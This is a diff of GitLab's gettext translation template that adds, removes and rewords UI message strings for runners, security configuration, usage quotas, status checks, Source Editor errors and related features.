@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
